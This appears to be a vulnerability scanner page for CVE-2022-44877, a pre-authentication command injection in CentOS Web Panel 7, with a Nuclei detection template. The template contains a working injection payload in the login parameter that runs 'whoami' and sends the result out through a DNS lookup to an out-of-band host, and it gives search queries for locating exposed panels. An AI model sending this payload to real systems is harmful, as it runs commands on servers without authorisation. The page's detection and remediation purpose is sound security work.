CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-01-17; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.

How to confirm it

Send: POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}})
Positive when: contains in interactsh_protocol "dns" AND contains "Login Redirect." AND status 302

Run it with nuclei: nuclei -id CVE-2022-44877 -u <target>

The full check

id: CVE-2022-44877

info:
  name: CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: |
    CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/_0xf4n9x_/status/1612068225046675457
    - https://github.com/numanturle/CVE-2022-44877
    - https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44877
    - http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44877
    cwe-id: CWE-78
    epss-score: 0.99995
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: control-webpanel
    product: webpanel
    shodan-query:
      - http.title:"Login | Control WebPanel"
      - http.title:"login | control webpanel"
    fofa-query: title="login | control webpanel"
    google-query: intitle:"login | control webpanel"
  tags: cve,cve2022,packetstorm,centos,rce,kev,control-webpanel,vkev,vuln

http:
  - raw:
      - |
        POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=root&password=toor&commit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Login Redirect."

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
        part: interactsh_request

References

Use this check only on systems you are authorised to test. Where the data comes from